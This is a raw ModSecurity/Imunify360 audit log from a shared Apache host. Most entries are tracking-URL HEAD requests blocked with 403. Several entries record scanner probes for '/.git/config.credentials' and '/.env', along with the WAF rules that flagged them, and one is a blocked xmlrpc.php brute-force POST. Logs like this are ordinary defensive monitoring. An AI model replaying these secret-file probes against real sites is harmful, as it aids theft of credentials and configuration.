Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227221689 1571374 (- - -)
Stopwatch2: 1789265227221689 1571374; combined=65255, p1=30454, p2=34724, p3=0, p4=0, p5=77, sr=30305, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c2335d71-Z--
--09a1be41-A--
[13/Sep/2026:05:08:24.657778 +0300] aqYFmDTJ6xTvcJoem7f1MAAAAEI 91.124.31.113 59624 127.0.0.1 7081
--09a1be41-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--09a1be41-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--09a1be41-E--
--09a1be41-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265304649819 8006 (- - -)
Stopwatch2: 1789265304649819 8006; combined=5138, p1=413, p2=4271, p3=70, p4=7, p5=376, sr=135, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--09a1be41-Z--
--bd48233b-A--
[13/Sep/2026:05:08:25.797809 +0300] aqYFmUwu1RSkptiiNIXs8wAAAJI 91.124.31.107 59160 127.0.0.1 7081
--bd48233b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--bd48233b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--bd48233b-E--
--bd48233b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265305791379 6479 (- - -)
Stopwatch2: 1789265305791379 6479; combined=4971, p1=334, p2=4224, p3=66, p4=7, p5=339, sr=169, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd48233b-Z--
--1957a449-A--
[13/Sep/2026:05:08:26.673339 +0300] aqYFmmM7dE9KgIIOpQhcOgAAANE 91.124.31.125 59166 127.0.0.1 7081
--1957a449-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1957a449-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1957a449-E--
--1957a449-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265306666960 6417 (- - -)
Stopwatch2: 1789265306666960 6417; combined=4973, p1=881, p2=3783, p3=64, p4=6, p5=239, sr=638, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1957a449-Z--
--01f7d24d-A--
[13/Sep/2026:05:09:43.819577 +0300] aqYF52M7dE9KgIIOpQhcRQAAAMA 95.134.102.169 58076 127.0.0.1 7081
--01f7d24d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--01f7d24d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--01f7d24d-E--
--01f7d24d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265383813805 5878 (- - -)
Stopwatch2: 1789265383813805 5878; combined=4377, p1=257, p2=3795, p3=59, p4=7, p5=259, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--01f7d24d-Z--
--e9281453-A--
[13/Sep/2026:05:09:44.332532 +0300] aqYF6DTJ6xTvcJoem7f1MwAAAEk 151.243.174.176 58078 127.0.0.1 7081
--e9281453-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e9281453-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e9281453-E--
--e9281453-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265384326966 5614 (- - -)
Stopwatch2: 1789265384326966 5614; combined=4109, p1=216, p2=3543, p3=58, p4=6, p5=285, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e9281453-Z--
--34753a7f-A--
[13/Sep/2026:05:09:44.931386 +0300] aqYF6DTJ6xTvcJoem7f1NAAAAEg 151.243.174.123 58090 127.0.0.1 7081
--34753a7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--34753a7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--34753a7f-E--
--34753a7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265384922502 8959 (- - -)
Stopwatch2: 1789265384922502 8959; combined=7281, p1=287, p2=6622, p3=70, p4=7, p5=295, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34753a7f-Z--
--a7f1b63a-A--
[13/Sep/2026:05:11:19.094960 +0300] aqYGRmM7dE9KgIIOpQhcXwAAAMw 129.224.203.151 41046 127.0.0.1 7081
--a7f1b63a-B--
POST /xmlrpc.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 129.224.203.151
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.2; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/74.0.0.0 Safari/537.36
--a7f1b63a-C--
metaWeblog.newPost15320053200title0xfb39688ddescription0xfb39688dmt_keywords0xfb39688dmt_excerpt0xfb39688d1
--a7f1b63a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: b324e24c-9065-4a30-adb7-d2fac435a451
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a7f1b63a-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:05-11.129.224.203.151"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265478874950 220093 (- - -)
Stopwatch2: 1789265478874950 220093; combined=67255, p1=327, p2=66323, p3=0, p4=0, p5=463, sr=128, sw=142, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--a7f1b63a-Z--
--33d71f2a-A--
[13/Sep/2026:05:12:03.303446 +0300] aqYGc2M7dE9KgIIOpQhcZgAAAMI 162.243.61.206 40232 127.0.0.1 7081
--33d71f2a-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Cache-Control: max-age=0
--33d71f2a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--33d71f2a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqYGc2M7dE9KgIIOpQhcZgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265523202087 101563 (- - -)
Stopwatch2: 1789265523202087 101563; combined=5143, p1=273, p2=4787, p3=0, p4=0, p5=82, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--33d71f2a-Z--
--906f7103-A--
[13/Sep/2026:05:12:04.035892 +0300] aqYGdGM7dE9KgIIOpQhcZwAAAME 95.134.102.238 40242 127.0.0.1 7081
--906f7103-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--906f7103-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--906f7103-E--
--906f7103-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265524029875 6065 (- - -)
Stopwatch2: 1789265524029875 6065; combined=4598, p1=232, p2=3957, p3=64, p4=6, p5=339, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--906f7103-Z--
--85e23717-A--
[13/Sep/2026:05:12:04.742583 +0300] aqYGdGM7dE9KgIIOpQhcaAAAAM4 95.134.102.240 40254 127.0.0.1 7081
--85e23717-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--85e23717-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--85e23717-E--
--85e23717-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265524736545 6105 (- - -)
Stopwatch2: 1789265524736545 6105; combined=4541, p1=282, p2=3923, p3=66, p4=7, p5=262, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85e23717-Z--
--e18fca6c-A--
[13/Sep/2026:05:12:05.706284 +0300] aqYGdWM7dE9KgIIOpQhccgAAAMQ 95.134.102.117 43996 127.0.0.1 7081
--e18fca6c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e18fca6c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e18fca6c-E--
--e18fca6c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265525700597 5743 (- - -)
Stopwatch2: 1789265525700597 5743; combined=4184, p1=280, p2=3516, p3=68, p4=7, p5=313, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e18fca6c-Z--
--fe1c427b-A--
[13/Sep/2026:05:13:05.142328 +0300] aqYGsUwu1RSkptiiNIXtGQAAAJU 151.243.174.229 39446 127.0.0.1 7081
--fe1c427b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--fe1c427b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fe1c427b-E--
--fe1c427b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265585128486 13886 (- - -)
Stopwatch2: 1789265585128486 13886; combined=7682, p1=3415, p2=3890, p3=77, p4=7, p5=293, sr=1908, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe1c427b-Z--
--38f08864-A--
[13/Sep/2026:05:13:05.726495 +0300] aqYGsUwu1RSkptiiNIXtGgAAAJc 95.134.102.118 49642 127.0.0.1 7081
--38f08864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--38f08864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--38f08864-E--
--38f08864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265585719881 6662 (- - -)
Stopwatch2: 1789265585719881 6662; combined=5053, p1=942, p2=3654, p3=69, p4=8, p5=380, sr=782, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38f08864-Z--
--8ef1c427-A--
[13/Sep/2026:05:13:06.230156 +0300] aqYGsmM7dE9KgIIOpQhcnAAAANI 151.243.174.135 49644 127.0.0.1 7081
--8ef1c427-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8ef1c427-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8ef1c427-E--
--8ef1c427-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265586223496 6704 (- - -)
Stopwatch2: 1789265586223496 6704; combined=5283, p1=1337, p2=3596, p3=62, p4=7, p5=280, sr=1183, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8ef1c427-Z--
--c2335d71-A--
[13/Sep/2026:05:13:10.134270 +0300] aqYGtkwu1RSkptiiNIXtGwAAAJg 151.243.174.103 49682 127.0.0.1 7081
--c2335d71-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c2335d71-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c2335d71-E--
--c2335d71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265590124991 9334 (- - -)
Stopwatch2: 1789265590124991 9334; combined=7381, p1=802, p2=6081, p3=91, p4=11, p5=395, sr=660, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c2335d71-Z--
--31362e30-A--
[13/Sep/2026:05:13:10.739876 +0300] aqYGtmM7dE9KgIIOpQhcnQAAAMk 95.134.102.162 49684 127.0.0.1 7081
--31362e30-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--31362e30-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--31362e30-E--
--31362e30-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265590727399 12525 (- - -)
Stopwatch2: 1789265590727399 12525; combined=9534, p1=1430, p2=7431, p3=153, p4=16, p5=503, sr=1112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--31362e30-Z--
--09a1be41-A--
[13/Sep/2026:05:13:11.283536 +0300] aqYGt0wu1RSkptiiNIXtHAAAAIU 151.243.174.116 49686 127.0.0.1 7081
--09a1be41-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.116
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--09a1be41-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--09a1be41-E--
--09a1be41-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265591268684 14900 (- - -)
